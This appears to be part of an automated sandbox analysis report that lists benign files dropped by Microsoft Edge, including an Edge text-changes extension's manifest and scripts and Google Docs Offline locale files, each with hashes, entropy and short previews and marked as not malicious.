Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1340_194821102\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1340_194821102\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1340_194821102\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1340_194821102\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

